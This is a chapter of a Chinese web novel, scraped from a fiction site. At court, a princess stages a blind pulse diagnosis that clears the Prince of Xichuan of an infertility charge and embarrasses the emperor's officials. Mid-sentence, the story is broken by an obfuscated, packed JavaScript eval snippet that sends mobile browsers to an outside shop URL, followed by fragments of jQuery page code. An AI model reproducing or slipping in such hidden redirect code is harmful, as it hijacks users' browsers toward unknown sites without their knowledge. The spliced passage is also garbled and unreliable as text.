文趣网 > 其他小说 > 亡羊补狼 > 245. 大顺满朝文武竟没凑出一个好腰子
    青绵再次提议:“既然查验之法由臣妾提出,一同入帐诊脉之人,不如便交由臣妾亲自挑选。”

    皇帝斜睨了青绵一眼,忍住心中愤怒,回复了句:“准!”

    此话一出,青绵眼底闪过一丝得意,她目光缓缓扫过阶下林立的文武百官,从容的挑出五位年纪与苍夜相近的朝臣,其中一员身披铠甲,看起来十分健壮,正是当年领兵攻打西川的主将张将军。

    挑完五人,青绵又淡淡开口:“还差一人,再加一位公公入帐,凑齐七人,一同诊脉。”

    侍卫依言,领来了一名太监。

    青绵并未就此作罢,她继续补充道:“臣妾还有一言,既然是盲诊,便应当杜绝一切可能,入帐之后,诸位须在帐内重新抽签定号,各自从对应号口伸出手臂,帐外之人只知号数,不知号后何人,太医只需按号记录,不记身份,待到诊脉结束后,撤去帐幔,号与人一并核对,到那时是非便可以看个明白了。”

    她这番话说得如此条理分明,根本就无从反驳,皇帝眼睛眉毛拧在了一起,但事已至此,又不好当众推翻自己才说的公允,只能阴沉着脸说道:“准!”

    宫人迅速搬来了七枚号签,递入帐中,号签放入签筒,摇匀之后,由帐内七人依次抽取,每人抽得一签,然后将手臂从对应的号口中伸出来。

    一号、二号、三号……七条手臂依次搁在铺设白绢的长案之上,每一条手臂旁边皆以朱漆木牌标明号数,七条手臂并排而列,根本就辨认不出哪条手臂属于哪个人。

    满殿文武都屏息凝神,目光皆落在那七条手臂上,心中各自揣测。

    不多时,五位奉旨而来的太医匆匆步入大殿,躬身行礼。

    皇帝目光扫过帷帐,正色道来,声音响彻朝堂:“帐前有七条手臂,按号排列,诸位太医分头诊脉,尔等需细细分辨,逐一记下这七条脉象之中,哪个人身体有亏,无生育之能,每条脉象须写明号数,不得混淆!”

    五位太医依次上前,自一号起逐一诊脉,手指轻轻搭在伸出的腕脉之上,凝神细辨,不敢有一丝的疏忽。

    殿内死寂无声,每一位太医诊完一脉,便立刻伏在案上写脉案,每条记录之后,都用朱笔清晰的标注对应号数,存档备查。

    整整两炷香的时间过去了,七条脉象已全部诊查完毕,五位太医收起纸笔,将各自诊录结果汇总在一处,为首的老太医双手捧起脉案,向前两步,朝皇帝深深一躬。

    “启禀陛下,臣等合力诊查完毕,帐内七条脉象已尽数辨明,现按号呈报——”

    他展开脉案,声音清晰的传遍了大殿:

    “一号脉:尺脉沉弱,是先天元精不足的表现,确无生育之能。”

    “二号脉:脉象虚浮,重按则空,说明肾气不固,每次房事后容易心悸气短,这是肾气亏虚的典型表现。”

    “三号脉:脉细而数,按下去没什么力道,属于肾阴亏耗,欲望是常有,但真到关键时刻力不从心,勉强行事之后腰膝酸软,是肾虚兼阴虚火旺。”

    “四号脉:左右两尺都弱,右边更明显,肾阳不足,房事后精神萎靡,几日都缓不过来,属于肾气虚惫。”

    “五号脉:脉来从容和缓,沉取有力,尺部充实,肾气旺盛,精元充足,体质是七个人里最好的,也最利于生育。”

    “六号脉:脉浮而无力,按着偏软,脾肾两虚,房事上力不从心,常伴有腰酸和早泄。”

    “七号脉:脉象短涩,阳脉几乎摸不到,先天元阳亏损严重,这辈子恐怕与子嗣无缘。”

    话音落下,老太医合上脉案,退到了一旁。

    满朝文武瞬间一片哗然。

    七条脉象,结果清清楚楚:两人不育,一人体魄绝佳,剩余四人竟然全部肾虚。

    殿内议论声四起,群臣们交换着眼色,人人心中飞速盘算着。

    “两个不育的,一个定是那太监,另一个必是西川王无疑。”

    “那体魄最好的,想来便是张将军!到底常年征战,气血远非常人可比!”

    “可怜西川王,这回怕是真的要当众坐实罪名了……”

    百官纷纷点头,仿佛结局已经注定,连龙椅上的皇帝,嘴角都隐隐勾起一丝胜券在握的笑,只等着最后的宣判,来彻底坐实西川王的罪名。

    皇帝敛起笑意,沉声命令:“撤!即刻撤去帐幔!”

    宫人得令上前,数人分列帷帐两侧,拉住帐顶与两侧挂绳,用力一扯,厚重的帐幔轰然坠地,七道身影完完整整暴露在满殿目光之下。

    众人齐刷刷的先看向各人手中号签,再将号签与方才太医所念的脉案一一核对。

    然后,整座大殿彻底安静了。

    七个人手中号签清清楚楚,对应着方才太医所报的七条脉象——

    一号,张将军。

    二号,户部侍郎刘大人。

    三号,中书令孙大人。

    四号,工部郎中周大人。

    五号,西川王苍夜。

    六号,兵部主事钱大人。

    七号,太监福顺。

    满殿文武皆瞠目结舌,神智都像是被一盆冰水兜头浇下。

    太医口中那体质最好的、最适宜孕育子嗣的五号,竟然是是西川王!而那两名被诊出彻底丧失生育能力之人,一个是太监福顺,另一个……竟是方才被百官众口称赞的常年征战沙场的张将军!剩余四位文臣武将,手中号签死死对应着“肾气亏虚、房事不调、力不从心”的脉案,此刻一个个脸色铁青,额头浸满汗珠,又惊又愧又窘,都恨不得当场挖个地洞钻进去。

    堂堂朝廷的五到三品官员,竟在满朝文武面前被诊出肾虚体弱、房事不济,一身官威与颜面扫地。

    偌大的金殿上,无一人敢出声。

    整场盲诊,从头到尾都有号签对应,诊脉留档,谁也抵赖不了。

    苍夜不仅没有任何隐疾旧伤,反而体魄冠绝全场,当众击碎了无法生育的污蔑谣言。

    那个先前胜券在握的皇帝,此刻脸上再也挂不住了,他精心布下的杀局,不仅没能坐实西川王罪名,反倒当众证明西川王体魄强健,顺手还把自己朝中重臣的底裤掀了个底朝天,让满朝文武集体颜面扫地。

    皇帝脸色铁青,胸膛剧烈起伏着,积压的怒火终于爆发,他猛地一掌拍在龙椅扶手上,厉声怒喝:“一派胡言!你们这些庸医,医术不精,胡乱诊脉,还颠倒黑白,混淆视听!来人!将这五位欺君罔上的太医,尽数拿下治罪!”

    皇帝盛怒之下,只能靠降罪太医夺回脸面,场面一度紧绷到了极致。

    其实青绵早在她选人入帐时就已知晓答案,她前世可是名医女,行医本事早已随着记忆的苏醒恢复了,望气观体对她来讲只是小事一桩,只凭一眼神态气色,便能大致辨出其

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887001|212580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    内里虚实。

    她就是要杀杀那狗皇帝的威风,冷眼瞧着这出输不起的闹剧,嘴角露出一抹痛快的讽意,她忍不住开口,阴阳怪气道:“原来我大顺朝堂,尽是这般颠倒是非的庸医,陛下不必忧心,我西川疆域虽不及中原辽阔,物产也不算富庶,但医术一道,可是远超京都,待他日臣妾与王爷归蜀,定亲自挑选一批医术精湛的良医送入京中。”

    她目光扫过殿上窘迫难堪的一众大臣,语气戏谑又诛心:“也好让我西川医者,为殿中诸位大人细细诊治,身有隐疾便尽早医治,切莫长年虚耗,拖垮了身子,更是拖垮我大顺朝堂的基脉。若是再放任下去,几十年后朝堂文武皆体虚气弱,届时怕是连出征攻打西川的强壮士兵都凑不齐,那才是真正的祸及江山啊!”

    这番夹枪带棒的讥讽,字字戳中痛处,气得龙椅上的皇帝气血翻涌,胸口剧烈起伏,眼前阵阵发黑,几乎要当场晕厥过去。

    他心底恨意滔天,恨不得即刻下令将西川王与青绵凌迟活剐,可满朝文武都在场,所有目光聚焦其身,他身为帝王,当众输了棋局,失了体面,早就理亏在先,根本就无从发作。

    皇帝的滔天怒火无处宣泄时,突然想起了提供虚假消息的孙嬷嬷,他转头狠狠盯向地上瘫软发抖的孙嬷嬷,厉声暴喝:“大胆卑贱的狗奴才!竟诬告藩王,祸乱朝堂!来人!将这满口谎言的恶奴拖下去,凌迟处死!”

    侍卫闻声立刻上前,伸手便要拖拽孙嬷嬷。

    绝境之下,孙嬷嬷彻底慌了神,拼命挣扎扭动,涕泗横流,疯狂大喊冤枉,更是不顾一切攀咬反扑:“皇上冤枉!老奴没有诬告!定然是哪里出错了!就算王爷体魄强健,就算他有生育之能,那小世子也绝非他们亲生!老奴想明白了!是王妃!是西川王妃不能生养!是她身子有疾,生不出孩子,才刻意抱养幼子,混淆血脉欺瞒世人啊!”

    孙嬷嬷凄厉的攀咬声回荡大殿,妄图做最后一搏,死死咬住血脉之事不放。

    惠太妃气得浑身发抖,当即厉声怒斥:“你个黑心狗奴才,满口胡言乱语!皇家藩王绵延子嗣乃是头等大事,若当真王妃身子难以有孕,堂堂西川王府,给王爷择选几位侧妃偏室便可,何须铤而走险,冒险抱养他人孩子,落得欺君罔上的罪名?!”

    这番话瞬间堵死了孙嬷嬷的荒唐说辞。

    可绝境中的孙嬷嬷早已疯魔,根本不肯罢休,她愣怔了片刻,但很快她又仰头高声辩驳:“皇上有所不知!西川王独宠王妃一人,对其百般溺爱,言听计从!西川上下人人皆知,王爷此生绝不纳妾!就算太妃有心为王爷选侧妃,王爷也断然不会应允!唯有抱养幼子,才能保住西川世袭爵位!”

    满殿文武顿时低声议论四起,目光纷纷落在青绵身上。

    龙椅上的皇帝闻言,眼珠飞快一转,既然诬陷西川王不育彻底落空,那便从周青绵身上破局!只要坐实王妃无法生育,依旧能定他们混淆血脉,欺瞒天下的重罪!

    他立刻下令:“来人!把一众太医带回大殿,为王妃诊脉查验,辨明虚实!”

    几名惊魂未定的太医又被带了上来,他们连忙躬身上前,正要抬手为太妃诊脉。

    青绵却缓步上前,直面帝王:“陛下要诊脉查证,臣妾无可厚非,但要查验,便得公允到底。方才为王爷诊脉用的盲诊之法最为公平,臣妾也要延续此法,公平查验,杜绝一切徇私篡改!”